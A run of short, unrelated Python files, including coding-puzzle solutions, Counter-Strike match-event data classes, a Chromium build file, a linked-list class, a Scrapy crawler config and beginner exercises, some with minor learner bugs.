""" Given a time represented in the format "HH:MM", form the next closest time by reusing the current digits. There is no limit on how many times a digit can be reused. You may assume the given input string is always valid. For example, "01:34", "12:09" are all valid. "1:34", "12:9" are all invalid. Example 1: Input: "19:34" Output: "19:39" Explanation: The next closest time choosing from digits 1, 9, 3, 4, is 19:39, which occurs 5 minutes later. It is not 19:33, because this occurs 23 hours and 59 minutes later. Example 2: Input: "23:59" Output: "22:22" Explanation: The next closest time choosing from digits 2, 3, 5, 9, is 22:22. It may be assumed that the returned time is next day's time since it is smaller than the input time numerically. Time: O(1) Space: O(1) """ class Solution(object): def nextClosestTime(self, time): """ :type time: str :rtype: str """ # First, separate the hour and minute h = int(time[0:2]) m = int(time[3:5]) # Store s as a set for the next comparison (Tricky Part!) s = set(time) # Within one day, all the possible combination should be checked. for _ in xrange(1441): m += 1 if m == 60: m = 0 if h == 23: h = 0 else: h += 1 # 02d formats an integer (d) to a field of minimum width 2 (2), # with zero-padding on the left (leading 0) time = "%02d:%02d" % (h, m) if set(time) <= s: break return time if __name__ == "__main__": print("Start the test!") s = Solution() testTime1 = "19:34" testTime2 = "01:32" print("Test with 19:34. Answer is 19:39. Result is %s" % s.nextClosestTime(testTime1)) print("Test with 01:32. Answer is 01:33. Result is %s" % s.nextClosestTime(testTime1))
class PlayerInfo: """ Detail a Granade event Attributes: tick (int) : Game tick at time of kill sec (float) : Seconds since round start player_id (int) : Player's steamID player_name (int) : Player's username player_x_viz (float) : Player's X position for visualization player_y_viz (float) : Player's Y position for visualization player_side (string) : Player's side (T or CT) player_money (int) : Player's money player_health (int) : Player's health player_armor (int) : Player's armor value player_weapon (string) : Player's active weapon """ def __init__( self, tick=0, sec=0, player_id=0, player_name="", player_x_viz=0, player_y_viz=0, player_side="", player_x_view=0, player_money=0, player_health=0, player_armor=0, player_weapon="", ): self.tick = tick self.sec = sec self.player_id = player_id self.player_name = player_name self.player_x_viz = player_x_viz self.player_y_viz = player_y_viz self.player_side = player_side self.player_x_view = player_x_view self.player_money = player_money self.player_health = player_health self.player_armor = player_armor self.player_weapon = player_weapon class Grenade: """ Detail a Granade event Attributes: tick (int) : Game tick at time of kill sec (float) : Seconds since round start player_x_viz (float) : Player's X position for visualization player_y_viz (float) : Player's Y position for visualization player_name (int) : Player's username player_side (string) : Player's side (T or CT) nade_id (int) : nade uniqueID (until it gets destroyed) nade_x_viz (float) : nade X position for visualization nade_y_viz (float) : nade Y position for visualization nade_type (int) : nade type (smoke, HE, ...) nade_info (string) : nade info (create, destroy, air) nade_area_name (int) : nade area name from nav file """ def __init__( self, tick=0, sec=0, player_id=0, player_x_viz=0, player_y_viz=0, player_name="", player_side="", nade_id=0, nade_x_viz=0, nade_y_viz=0, nade_type="", nade_info="", nade_area_name="", ): self.tick = tick self.sec = sec self.player_id = player_id self.player_x_viz = player_x_viz self.player_y_viz = player_y_viz self.player_name = player_name self.player_side = player_side self.nade_id = nade_id self.nade_x_viz = nade_x_viz self.nade_y_viz = nade_y_viz self.nade_type = nade_type self.nade_info = nade_info self.nade_area_name = nade_area_name class BombEvent: """ Detail a Bomb Plant/Defuse event Attributes: tick (int) : Game tick at time of event sec (float) : Seconds since round start player_name (string): Player's username player_id (int) : Player's steam id team (string) : Player's team/clan name x (float) : X position of bomb event y (float) : Y position of bomb event z (float) : Z position of bomb event area_id (int) : Location of event as nav file area id bomb_site (string) : Bomb site (A or B) event_type (string) : Plant, defuse, explode """ def __init__( self, tick=0, sec=0, player_x_viz=0, player_y_viz=0, player_id=0, player_name="", bomb_site="", bomb_info="", ): self.tick = tick self.sec = sec self.player_x_viz = player_x_viz self.player_y_viz = player_y_viz self.player_id = player_id self.player_name = player_name self.bomb_site = bomb_site self.bomb_info = bomb_info class Round: """ Detail a CSGO round Attributes: map_name (string) : Round's map start_tick (int) : Tick on ROUND START event end_tick (int) : Tick on ROUND END event end_ct_score (int) : Ending CT score end_t_score (int) : Ending T score start_t_score (int) : Starting T score start_ct_score (int) : Starting CT score round_winner_side (string) : T/CT for round winner round_winner (string) : Winning team name round_loser (string) : Losing team name reason (int) : Corresponds to how the team won (defuse, killed other team, etc.) ct_cash_spent_total (int) : CT total cash spent by this point of the game ct_cash_spent_round (int) : CT total cash spent in current round ct_eq_val (int) : CT equipment value at end of freezetime t_cash_spent_total (int) : T total cash spent by this point of the game t_cash_spent_round (int) : T total cash spent in current round t_eq_val (int) : T equipment value at end of freezetime ct_round_type (string) : CT round buy type t_round_type (string) : T round buy type bomb_plant_tick : Bomb plant tick bomb_events (list) : List of BombEvent objects damages (list) : List of Damage objects kills (list) : List of Kill objects footstep (list) : List of Footstep objects grenades (list) : List of Grenade objects """ def __init__( self, map_name="", start_tick=0, end_tick=0, end_ct_score=0, end_t_score=0, start_ct_score=0, start_t_score=0, round_winner_side="", round_winner="", round_loser="", reason=0, ct_cash_spent_total=0, ct_cash_spent_round=0, ct_eq_val=0, t_cash_spent_total=0, t_cash_spent_round=0, t_eq_val=0, ct_round_type="", t_round_type="", bomb_plant_tick=0, end_freezetime=0, players=[], kills=[], damages=[], footsteps=[], bomb_events=[], grenades=[], current_itemPickup =[], current_playerInfo = [], ): self.map_name = map_name self.start_tick = start_tick self.end_tick = end_tick self.end_ct_score = end_ct_score self.end_t_score = end_t_score self.start_ct_score = start_ct_score self.start_t_score = start_t_score self.round_winner_side = round_winner_side self.round_winner = round_winner self.round_loser = round_loser self.end_freezetime = end_freezetime self.reason = reason self.players = players self.kills = kills self.damages = damages self.footsteps = footsteps self.bomb_events = bomb_events self.grenades = grenades self.ct_cash_spent_total = ct_cash_spent_total self.ct_cash_spent_round = ct_cash_spent_round self.ct_eq_val = ct_eq_val self.t_cash_spent_total = t_cash_spent_total self.t_cash_spent_round = t_cash_spent_round self.t_eq_val = t_eq_val self.ct_round_type = ct_round_type self.t_round_type = t_round_type self.bomb_plant_tick = bomb_plant_tick self.current_itemPickup_list = current_itemPickup self.current_playerInfo = current_playerInfo if self.round_winner_side == "CT": self.start_ct_score = self.end_ct_score - 1 self.start_t_score = self.start_t_score if self.round_winner_side == "T": self.start_ct_score = self.end_ct_score self.start_t_score = self.start_t_score - 1 class Kill: """ Detail a kill event Attributes: tick (int) : Game tick at time of kill sec (float) : Seconds since round start victim_x_viz (float) : Victim's X position for visualization victim_y_viz (float) : Victim's Y position for visualization victim_view_x (float) : Victim's X view victim_view_y (float) : Victim's Y view victim_area_name (int) : Victim's area name from nav file attacker_x_viz (float) : Attacker's X position for visualization attacker_y_viz (float) : Attacker's Y position for visualization attacker_view_x (float) : Attacker's X view attacker_view_y (float) : Attacker's Y view attacker_area_name (int) : Attacker's area name from nav file assister_x_viz (float) : Assister's X position for visualization assister_y_viz (float) : Assister's Y position for visualization assister_view_x (float) : Assister's X view assister_view_y (float) : Assister's Y view assister_area_name (int) : Assister's area name from nav file victim_id (int) : Victim's steam id victim_name (string) : Victim's username victim_side (string) : Victim's side (T or CT) victim_team_eq_val (int) : Victim team's starting equipment value attacker_id (int) : Attacker's steam id attacker_name (int) : Attacker's username attacker_side (string) : Attacker's side (T or CT) attacker_team_eq_val (int): Attacker team's starting equipment value assister_id (int) : Assister's steam id assister_name (int) : Assister's username assister_side (string) : Assister's side (T or CT) weapon_id (int) : Weapon id is_wallshot (boolean) : If kill was a wallshot then 1, 0 otherwise is_flashed (boolean) : If kill victim was flashed then 1, 0 otherwise is_headshot (boolean) : If kill was a headshot then 1, 0 otherwise """ def __init__( self, tick=0, sec=0, victim_x_viz=0, victim_y_viz=0, victim_view_x=0, victim_view_y=0, victim_area_name="", attacker_x_viz=0, attacker_y_viz=0, attacker_view_x=0, attacker_view_y=0, attacker_area_name="", assister_x_viz=0, assister_y_viz=0, assister_view_x=0, assister_view_y=0, assister_area_name="", victim_id=0, victim_name="", victim_side="", attacker_id=0, attacker_name="", attacker_side="", assister_id=0, assister_name="", assister_side="", weapon_id=0, is_wallshot=False, is_flashed=False, is_headshot=False, ): self.tick = tick self.sec = sec self.attacker_id = attacker_id self.attacker_name = attacker_name self.attacker_side = attacker_side self.attacker_x_viz = attacker_x_viz self.attacker_y_viz = attacker_y_viz self.attacker_view_x = attacker_view_x self.attacker_view_y = attacker_view_y self.attacker_area_name = attacker_area_name self.victim_id = victim_id self.victim_name = victim_name self.victim_side = victim_side self.victim_x_viz = victim_x_viz self.victim_y_viz = victim_y_viz self.victim_view_x = victim_view_x self.victim_view_y = victim_view_y self.victim_area_name = victim_area_name self.assister_id = assister_id self.assister_name = assister_name self.assister_side = assister_side self.assister_x_viz = assister_x_viz self.assister_y_viz = assister_y_viz self.assister_view_x = assister_view_x self.assister_view_y = assister_view_y self.assister_area_name = assister_area_name self.weapon_id = weapon_id self.is_wallshot = is_wallshot self.is_flashed = is_flashed self.is_headshot = is_headshot class Damage: """ Detail a damage event Attributes: tick (int) : Game tick at time of kill sec (float) : Seconds since round start victim_x_viz (float) : Victim's X position for visualization victim_y_viz (float) : Victim's Y position for visualization victim_view_x (float) : Victim's X view victim_view_y (float) : Victim's Y view victim_area_name (int) : Victim's area name from nav file attacker_x_viz (float) : Attacker's X position for visualization attacker_y_viz (float) : Attacker's Y position for visualization attacker_view_x (float) : Attacker's X view attacker_view_y (float) : Attacker's Y view attacker_area_name (int) : Attacker's area name from nav file victim_id (int) : Victim's steam id victim_name (string) : Victim's username victim_side (string) : Victim's side (T or CT) attacker_id (int) : Attacker's steam id attacker_name (int) : Attacker's username attacker_side (string) : Attacker's side (T or CT) hp_damage (int) : HP damage dealt kill_hp_damage (int) : HP damage dealt normalized to 100. armor_damage (int) : Armor damage dealt weapon_id (int) : Weapon id hit_group (int) : Hit group """ def __init__( self, tick=0, sec=0, victim_x_viz=0, victim_y_viz=0, victim_view_x=0, victim_view_y=0, victim_area_name="", attacker_x_viz=0, attacker_y_viz=0, attacker_view_x=0, attacker_view_y=0, attacker_area_name="", victim_id=0, victim_name="", victim_side="", attacker_id=0, attacker_name="", attacker_side="", hp_damage=0, kill_hp_damage=0, armor_damage=0, weapon_id=0, hit_group=0, ): self.tick = tick self.sec = sec self.victim_x_viz = victim_x_viz self.victim_y_viz = victim_y_viz self.victim_view_x = victim_view_x self.victim_view_y = victim_view_y self.victim_area_name = victim_area_name self.attacker_x_viz = attacker_x_viz self.attacker_y_viz = attacker_y_viz self.attacker_view_x = attacker_view_x self.attacker_view_y = attacker_view_y self.attacker_area_name = attacker_area_name self.victim_id = victim_id self.victim_name = victim_name self.victim_side = victim_side self.attacker_id = attacker_id self.attacker_name = attacker_name self.attacker_side = attacker_side self.hp_damage = hp_damage self.kill_hp_damage = kill_hp_damage self.armor_damage = armor_damage self.weapon_id = weapon_id self.hit_group = hit_group class Flashed: """ Detail a Flashed event Attributes: tick (int) : Game tick at time of kill sec (float) : Seconds since round start attacker_x_viz (float) : Attacker's X position for visualization attacker_y_viz (float) : Attacker's Y position for visualization attacker_name (string) : Attacker's Name attacker_team (string) : Attacker's team/clan name attacker_side (string) : Attacker's side (T or CT) victim_x_viz (float) : Victim's X position for visualization victim_y_viz (float) : Victim's Y position for visualization victim_name (string) : Victim's Name victim_team (string) : Victim's team/clan name victim_side (string) : Victim's side (T or CT) """ def __init__( self, tick=0, sec=0, attacker_id=0, attacker_x_viz=0, attacker_y_viz=0, attacker_name="", attacker_side="", victim_id=0, victim_x_viz=0, victim_y_viz=0, victim_name="", victim_side="", ): self.tick = tick self.sec = sec self.attacker_id = attacker_id self.attacker_x_viz = attacker_x_viz self.attacker_y_viz = attacker_y_viz self.attacker_name = attacker_name self.attacker_side = attacker_side self.victim_id = victim_id self.victim_x_viz = victim_x_viz self.victim_y_viz = victim_y_viz self.victim_name = victim_name self.victim_side = victim_side class ItemPickup: """ Detail a ItemPickup event Attributes: tick (int) : Game tick at time of kill sec (float) : Seconds since round start player_x_viz (float) : Player's X position for visualization player_y_viz (float) : Player's Y position for visualization player_view_x (float) : Player's X view player_view_y (float) : Player's Y view player_area_id (int) : Player's area id from nav file player_area_name (int) : Player's area name from nav file player_id (int) : Player's steam id player_name (int) : Player's username player_team (string) : Player's team/clan name player_side (string) : Player's side (T or CT) weapon_id (int) : Weapon id """ def __init__( self, tick=0, sec=0, player_id=0, player_name="", player_x_viz=0, player_y_viz=0, player_side="", weapon_pickup="", ): self.tick = tick self.sec = sec self.player_id = player_id self.player_name = player_name self.player_x_viz = player_x_viz self.player_y_viz = player_y_viz self.player_side = player_side self.weapon_pickup = weapon_pickup
# Copyright (c) 2011 The Chromium Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. { 'includes': [ '../../build/common.gypi', ], 'target_defaults': { 'variables': { 'chromium_code': 1, 'version_py_path': '../../chrome/tools/build/version.py', 'version_path': 'VERSION', }, 'include_dirs': [ '../..', ], 'libraries': [ 'userenv.lib', ], 'sources': [ 'win/port_monitor/port_monitor.cc', 'win/port_monitor/port_monitor.h', 'win/port_monitor/port_monitor.def', ], }, 'conditions': [ ['OS=="win"', { 'targets' : [ { 'target_name': 'gcp_portmon', 'type': 'loadable_module', 'dependencies': [ '../../base/base.gyp:base', ], 'msvs_guid': 'ED3D7186-C94E-4D8B-A8E7-B7260F638F46', }, { 'target_name': 'gcp_portmon64', 'type': 'loadable_module', 'defines': [ '<@(nacl_win64_defines)', ], 'dependencies': [ '../../base/base.gyp:base_nacl_win64', ], 'msvs_guid': '9BB292F4-6104-495A-B415-C3E314F46D6F', 'configurations': { 'Common_Base': { 'msvs_target_platform': 'x64', }, }, }, { 'target_name': 'virtual_driver_unittests', 'type': 'executable', 'msvs_guid': '97F82D29-58D8-4909-86C8-F2BBBCC4FEBF', 'dependencies': [ '../../base/base.gyp:base', '../../base/base.gyp:test_support_base', '../../testing/gmock.gyp:gmock', '../../testing/gtest.gyp:gtest', ], 'sources': [ # Infrastructure files. '../../base/test/run_all_unittests.cc', 'win/port_monitor/port_monitor_unittest.cc' ], }, ], }, ], ] } # Local Variables: # tab-width:2 # indent-tabs-mode:nil # End: # vim: set expandtab tabstop=2 shiftwidth=2:
#coding=utf-8 ''' Created on 2017年4月18日 @author: ethan ''' class MongoFile(object): file_name="" file_real_name="" content_type=""
# -*- coding: utf-8 -*- '''Snippets for string. Available functions: - to_titlecase: Convert the character string to titlecase. ''' def to_titlecase(s: str) -> str: '''For example: >>> 'Hello world'.title() 'Hello World' Args: str: String excluding apostrophes in contractions and possessives form word boundaries. Returns: A titlecased version of the string where words start with an uppercase character and the remaining characters are lowercase. See: https://docs.python.org/3.6/library/stdtypes.html#str.title ''' return s.title()
t = int(input()) for t_itr in range(t): n = int(input()) count = 0 for i in range(n+1): if i%2 == 0: count+=1 else: count*=2 print(count)
# Aula 19 - Desafio 93: Cadastro de jogador de futebol # Ler o nome do jogador e quantas partidas ele jogou. Depois ler a quantidade de gols em cada partida # (colocar a quantidade de gols numa lista). # No final, tudo isso sera guardado num dicionario incluindo o total de gols feitos durante o campeonato. cadastro = dict() gols = list() jogador = str(input('Nome do jogador: ')).strip().capitalize() partidas = int(input(f'Quantas partidas {jogador} disputou? ')) for i in range(partidas): gols.append(int(input(f'Quantos gols ele fez na {i+1}ª partida? '))) cadastro['jogador'] = jogador cadastro['partidas'] = partidas cadastro['gols'] = gols cadastro['total de gols'] = sum(gols) print('=+'*20) print(cadastro) print('=+'*20) for k, v in cadastro.items(): print(f'O campo {k} tem o valor {v}.') print('=+'*20) print(f'O jogador {cadastro["jogador"]} disputou {len(cadastro["gols"])} partidas.') for i, v in enumerate(cadastro['gols']): print(f' => Na partida {i+1}, fez {v} gols.') print(f'{cadastro["jogador"]} fez um total de {cadastro["total de gols"]} gols.')
# DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER # Copyright (c) 2018 Juniper Networks, Inc. # All rights reserved. # Use is subject to license terms. # # Author: cklewar class AMQPMessage(object): # ------------------------------------------------------------------------ # property: message_type # ------------------------------------------------------------------------ @property def message_type(self): """ :returns: message_type defines action to be done when received through message bus """ return self.__message_type # ------------------------------------------------------------------------ # property: data # ------------------------------------------------------------------------ @property def payload(self): """ :returns: data contains message payload """ return self.__payload @payload.setter def payload(self, value): self.__payload = value # ------------------------------------------------------------------------ # property: source # ------------------------------------------------------------------------ @property def source(self): """ :returns: the message sender """ return self.__source def __init__(self, message_type=None, payload=None, source=None): """ :param message_type: :param message: :param source: """ self.__message_type = message_type self.__payload = payload self.__source = source
class DaemonEvent(object): def __init__(self, name, params) -> None: super().__init__() self.name = name self.params = params @classmethod def from_json(cls, json): return DaemonEvent(json["event"], json["params"])
# -*- coding: utf-8 -*- """ @author: salimt """ #Problem 3 #20.0/20.0 points (graded) #You are creating a song playlist for your next party. You have a collection of songs that can be represented as a list of tuples. Each tuple has the following elements: #name: the first element, representing the song name (non-empty string) #song_length: the second, element representing the song duration (float >= 0) #song_size: the third, element representing the size on disk (float >= 0) #You want to try to optimize your playlist to play songs for as long as possible while making sure that the songs you pick do not take up more than a given amount of space on disk (the sizes should be less than or equal to the max_disk_size). #You decide the best way to achieve your goal is to start with the first song in the given song list. If the first song doesn't fit on disk, return an empty list. If there is enough space for this song, add it to the playlist. #For subsequent songs, you choose the next song such that its size on disk is smallest and that the song hasn't already been chosen. You do this until you cannot fit any more songs on the disk. #Write a function implementing this algorithm, that returns a list of the song names in the order in which they were chosen, with the first element in the list being the song chosen first. Assume song names are unique and all the songs have different sizes on disk and different durations. #You may not mutate any of the arguments. #For example, #If songs = [('Roar',4.4, 4.0),('Sail',3.5, 7.7),('Timber', 5.1, 6.9),('Wannabe',2.7, 1.2)] and max_size = 12.2, the function will return ['Roar','Wannabe','Timber'] #If songs = [('Roar',4.4, 4.0),('Sail',3.5, 7.7),('Timber', 5.1, 6.9),('Wannabe',2.7, 1.2)] and max_size = 11, the function will return ['Roar','Wannabe'] # Paste your entire function (including the definition) in the box. Do not import anything. Do not leave any debugging print statements. # Paste your code here def song_playlist(songs, max_size): """ songs: list of tuples, ('song_name', song_len, song_size) max_size: float, maximum size of total songs that you can fit Start with the song first in the 'songs' list, then pick the next song to be the one with the lowest file size not already picked, repeat Returns: a list of a subset of songs fitting in 'max_size' in the order in which they were chosen. """ temp = [] temp.append(songs[0]) max_size -= songs[0][2] songs_sorted = (sorted(songs, reverse=True, key=lambda x: x[2])) if max_size < 0: return [] for i, song in enumerate(songs_sorted): weightB = songs_sorted[-(i+1)][2] if weightB <= max_size and songs_sorted[-(i+1)] not in temp: max_size -= weightB temp.append(songs_sorted[-(i+1)]) names = [] for name in range(len(temp)): names.append(temp[name][0]) return names songs = [('Roar',4.4, 4.0),('Sail',3.5, 7.7),('Timber', 5.1, 6.9),('Wannabe',2.7, 1.2)] max_size = 12.2 print(song_playlist(songs, max_size)) #['Roar','Wannabe','Timber'] print(song_playlist([('a', 4.0, 4.4), ('b', 7.7, 3.5), ('c', 6.9, 5.1), ('d', 1.2, 2.7)], 12.3)) #['a', 'd', 'b'] print(song_playlist([('a', 4.4, 4.0), ('b', 3.5, 7.7), ('c', 5.1, 6.9), ('d', 2.7, 1.2)], 20)) #['a', 'd', 'c', 'b']
#func-with-var-args.py def addall(*nums): ttl=0 for num in nums: ttl=ttl+num return ttl total=addall(10,20,50,70) print ('Total of 4 numbers:',total) total=addall(11,34,43) print ('Total of 3 numbers:',total)
seq=[1,2,3,4,5] for item in seq: print (item); print ("Hello") i=1 while i<5: print('i is :{}',format(i)) #i is always smaller than 5 i=i+1 #otherwise inifite loop for x in seq: print(x) for x in range(0,5): print(x) #short way to do the loop list(range(10)) x=[1,2,3,4] out=[] for num in x: out.append(num**2) #quickly create a list #the other way out=[num**2 for num in x] #[things need to append] print(out) #functions def my_func(param1): print(param1) #call the function my_func('Hello') def my_name(name): print("Hello"+name) #call function my_name(name='Ling') my_name('Ling') #for executing the function def square(num): return num**2 output=square(2) #return needs to store it to some variables def square(num): """ This is a sentence """ return num**2 #shift tap to get function
"""Singly linked list. """ class SinglyLinkedListException(Exception): """ Base class for linked list module. This will make it easier for future modifications """ class SinglyLinkedListIndexError(SinglyLinkedListException): """ Invalid/Out of range index""" def __init__(self, message="linked list index out of range"): super().__init__(message) self.message = message class SinglyLinkedListEmptyError(SinglyLinkedListException): """ Empty Linked List""" def __init__(self, message="linked list has no nodes"): super().__init__(message) self.message = message class Node: # pylint: disable=too-few-public-methods """Class representing a node in a linked list""" def __init__(self, data): self.data = data self.next = None class SinglyLinkedList: """Linked list class representing a collection of linked nodes""" def __init__(self): self.head = None def insert_head(self, data): """ Insert an node at the begenning of the linked list""" new_node = Node(data) if self.head: new_node.next = self.head self.head = new_node else: self.head = new_node def insert_end(self, data): """Insert an element at the end of the linked list""" # create a new node new_node = Node(data) # if SinglyLinkedList is not empty or if head exists, iterate and # link the newly created node with current last node if self.head: # start with first node and then iterate last_node = self.head # 'next' will be empty for current last node while last_node.next: last_node = last_node.next # link current last node with newly created node last_node.next = new_node else: # if list is empty self.head = new_node def insert_at(self, data, index): """ Insert a node at the specified index starting from 0""" if index < 0 or index > self.list_length(): raise SinglyLinkedListIndexError("Unable to insert at index " + str(index) + " : Invalid Position") if index == 0: self.insert_head(data) else: current_node = self.head new_node = Node(data) i = 1 while i < index: current_node = current_node.next i += 1 temp = current_node.next current_node.next = new_node new_node.next = temp del temp def delete_end(self): """ Delete a node from the end of linked list""" if not self.head: raise SinglyLinkedListEmptyError("Unable to delete " "from empty list") if self.head.next is None: self.head = None else: # get last node and delete it # (remove all references to that object) current_node = self.head previous_node = None while current_node.next is not None: previous_node = current_node current_node = current_node.next del current_node previous_node.next = None def delete_head(self): """Remove the first node of the linked list""" if self.head is None: raise SinglyLinkedListEmptyError("Unable to delete head from" " empty linked list") # if only one element if self.head.next is None: self.head = None else: self.head = self.head.next # index starts at 0 def delete_at(self, index): """Remove the node at the specified index(starting from 0) from the linked list """ if self.head is None: raise SinglyLinkedListEmptyError("Unable to delete head from" " empty linked list") if index < 0: raise SinglyLinkedListIndexError("Index cannot be negative") if index >= self.list_length(): raise SinglyLinkedListIndexError("Index={0} is out of range" " for list length={1}" .format(index, self.list_length() ) ) if index == 0: self.delete_head() # index starts at 0 elif index == self.list_length() - 1: self.delete_end() else: i = 1 current_node = self.head previous_node = None while i <= index: previous_node = current_node current_node = current_node.next i += 1 previous_node.next = current_node.next del current_node def print_elements(self): """Print data in all nodes in the linked list""" print('') if self.head: current_node = self.head while current_node: print(current_node.data) if current_node.next: current_node = current_node.next else: break else: print("The list is empty!") def list_length(self): """Returns the number of nodes in the linked list""" length = 0 current_node = self.head while current_node is not None: length += 1 current_node = current_node.next return length def __get_cycle_meet_node(self): """ Return Node where slow(Tortoise or t) and fast(Hare or h) pointers meet (Floyd's cycle detection algorithm) If no cycle, return None """ if self.head is None: raise SinglyLinkedListEmptyError("Empty linked list") # single element linkedlist with 'next' None cannot have a cycle if self.head.next is None: return None hare = tortoise = self.head while (tortoise is not None) and (tortoise.next is not None): hare = hare.next tortoise = tortoise.next.next if hare is tortoise: return hare # if no meeting node in the linkedlist, return None return None def cycle_present(self): """Return True is a cycle is detected in the linked list, else retruns False """ return bool(self.__get_cycle_meet_node()) # TODO: get cycle start node def remove_cycle(self): """Removes cycle(if present in the linked list""" if self.cycle_present(): # Floyd's cycle detection algorithm - to find starting # index of cycle. Point Hare to element at cycle_meet_index # and Tortoise to head element and move them at same speed tortoise = self.head hare = self.__get_cycle_meet_node() # For circular linked list(special case of linkedlist), # hare = meeting_node = head = tortoise # For this edge case, the second while loop will not get executed # So, get last element of linkedlist and set it as initial # value of previous_hare if hare is self.head: previous_hare = self.head while previous_hare.next is not self.head: previous_hare = previous_hare.next while hare is not tortoise: previous_hare = hare tortoise = tortoise.next hare = hare.next # at this point, hare = tortoise = cycle start node # remove the cycle by setting next pointer of last element to None previous_hare.next = None else: pass def get_node_at_index(self, index): """Return node at specified index, starting from 0""" if self.head is None: raise SinglyLinkedListEmptyError("Empty linked list") if index < 0: raise SinglyLinkedListIndexError("Index out of range: " "{0}".format(index)) if index >= self.list_length(): raise SinglyLinkedListIndexError("Index={0} out of range for " "list length={1}" .format(index, self.list_length()) ) current_node = self.head i = 0 while i < index: current_node = current_node.next i += i return current_node def __check_indices_for_swap(self, index1, index2): """ Sanity checks for function swap_nodes_at_indices. This to avoid pylint error R0912 for function swap_nodes_at_indices(). R0912: Too many branches (17/12) (too-many-branches). """ if self.head is None: raise SinglyLinkedListEmptyError("Empty linked list") if index1 < 0: raise SinglyLinkedListIndexError("Invalid index: {0}" .format(index1)) if index2 < 0: raise SinglyLinkedListIndexError("Invalid index: {0}" .format(index2)) if index1 >= self.list_length(): raise SinglyLinkedListIndexError("Index={0} out of range for" " list length={1}" .format(index1, self.list_length()) ) if index2 >= self.list_length(): raise SinglyLinkedListIndexError("Index={0} out of range for" " list length={1}" .format(index2, self.list_length()) ) # TODO: write a function to check if list is empty and throw exception # TODO: different exception classses for different edge cases def swap_nodes_at_indices(self, index1, index2): """Swaps two nodes (specified using indices) of the linked list. Retrun True, if swap success or if swap not required """ # if both indices are same, no need to swap if index1 == index2: return True # if only one element if self.head and self.head.next is None: return True self.__check_indices_for_swap(index1, index2) # ensure index2 > index1 , as an internal standard in this function if index1 > index2: index1, index2 = index2, index1 # Get elements to be swapped in one pass/loop. # Since we need to update the links, also get nodes # just before the nodes to be swapped node1 = self.head prev_node1 = None # node just before node1 node2 = self.head prev_node2 = None # node just before node2 current_node = self.head i = j = 0 while j <= index2: # index2 >= index1, so iterate till index2 if i == index1 - 1: prev_node1 = current_node if j == index2 - 1: prev_node2 = current_node break current_node = current_node.next i += 1 j += 1 if prev_node1: # to handle edge case node1=self.head node1 = prev_node1.next if prev_node2: # to handle edge case node2=self.head node2 = prev_node2.next if prev_node1: prev_node1.next = node2 else: self.head = node2 # to handle edge case node1=self.head if prev_node2: prev_node2.next = node1 else: self.head = node1 # to handle edge case node2=self.head node1.next, node2.next = node2.next, node1.next if __name__ == '__main__': pass
#!/usr/bin/env python __all__ = ["test_bedgraph", "test_clustal", "test_fasta"] __author__ = "" __copyright__ = "Copyright 2007-2020, The Cogent Project" __credits__ = [ "Rob Knight", "Gavin Huttley", "Sandra Smit", "Marcin Cieslik", "Jeremy Widmann", ] __license__ = "BSD-3" __version__ = "2020.2.7a" __maintainer__ = "Gavin Huttley" __email__ = "[email protected]" __status__ = "Production"
BOT_NAME = 'tabcrawler' SPIDER_MODULES = ['tabcrawler.spiders'] NEWSPIDER_MODULE = 'tabcrawler.spiders' DOWNLOAD_DELAY = 3 ITEM_PIPELINES = ['scrapy.contrib.pipeline.images.ImagesPipeline'] IMAGES_STORE = '/Users/jinzemin/Desktop/GuitarFan/tabcrawler/tabs' # ITEM_PIPELINES = [ # 'tabcrawler.pipelines.ArtistPipeline', # ] # Crawl responsibly by identifying yourself (and your website) on the user-agent #USER_AGENT = 'tabcrawler (+http://www.yourdomain.com)'
frase = str(input('Escreva uma frase: ')).strip() print('A letra A aparece {} vezes na frase'.format(frase.lower().count('a'))) print('A letra A aparece a primeira vez na posição {}'.format(frase.lower().find('a') + 1)) print('A letra A aparece a última vez na posição {}'.format(frase.lower().rfind('a') + 1))
my_list = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10] counter = 0 for number in my_list: counter = counter + number print(counter)
''' It's Christmas time! To share his Christmas spirit with all his friends, the young Christmas Elf decided to send each of them a Christmas e-mail with a nice Christmas tree. Unfortunately, Internet traffic is very expensive in the North Pole, so instead of sending an actual image he got creative and drew the tree using nothing but asterisks ('*' symbols). He has given you the specs (see below) and your task is to write a program that will generate trees following the spec and some initial parameters. Here is a formal definition of how the tree should be built, but before you read it the Elf HIGHLY recommends first looking at the examples that follow: Each tree has a crown as follows: * * *** Define a line as a horizontal group of asterisks and a level as a collection of levelHeight lines stacked one on top of the other. Below the crown there are levelNum levels. The tree is perfectly symmetrical so all the middle asterisks of the lines lie on the center of the tree. Each line of the same level (excluding the first one) has two more asterisks than the previous one (one added to each end); The number of asterisks in the first line of each level is chosen as follows: the first line of the first level has 5 asterisks; the first line of each consecutive level contains two more asterisks than the first line of the previous level. And finally there is the tree foot which has a height of levelNum and a width of: levelHeight asterisks if levelHeight is odd; levelHeight + 1 asterisks if levelHeight is even. Given levelNum and levelHeight, return the Christmas tree of the young elf. Example For levelNum = 1 and levelHeight = 3, the output should be christmasTree(levelNum, levelHeight) = [" *", " *", " ***", " *****", " *******", "*********", " ***"] , which represents the following tree: ___ * | * |-- the crown *** ___| ***** | ******* |-- level 1 ********* ___| *** ___|-- the foot For levelNum = 2 and levelHeight = 4, the output should be christmasTree(levelNum, levelHeight) = [" *", " *", " ***", " *****", " *******", " *********", " ***********", " *******", " *********", " ***********", "*************", " *****", " *****"] , which represents the following tree: ___ * | * | -- the crown *** ___| ***** | ******* | -- level 1 ********* | *********** ___| ******* | ********* | -- level 2 *********** | ************* ___| ***** | -- the foot ***** ___| ''' def christmasTree(levelNum, levelHeight): maxWidth = 5 + (levelNum-1)*2 + (levelHeight-1)*2 center = (maxWidth//2)+1 tree = [] # Crown appendToTree(tree, center, 1) appendToTree(tree, center, 1) appendToTree(tree, center, 3) # Levels for i in range(levelNum): appendToTree(tree, center, 5+(2*i)) for j in range(1, levelHeight): appendToTree(tree, center, 5+(2*i)+(2*j)) # Base baseWidth = levelHeight if levelHeight % 2 == 0: baseWidth = levelHeight + 1 for i in range(levelNum): appendToTree(tree, center, baseWidth) return tree def appendToTree(tree, center, numOfAsterisks): middle = (numOfAsterisks // 2) + 1 tree.append(" " * (center - middle) + "*" * numOfAsterisks)
cpicker = lv.cpicker(lv.scr_act(),None) cpicker.set_size(200, 200) cpicker.align(None, lv.ALIGN.CENTER, 0, 0)
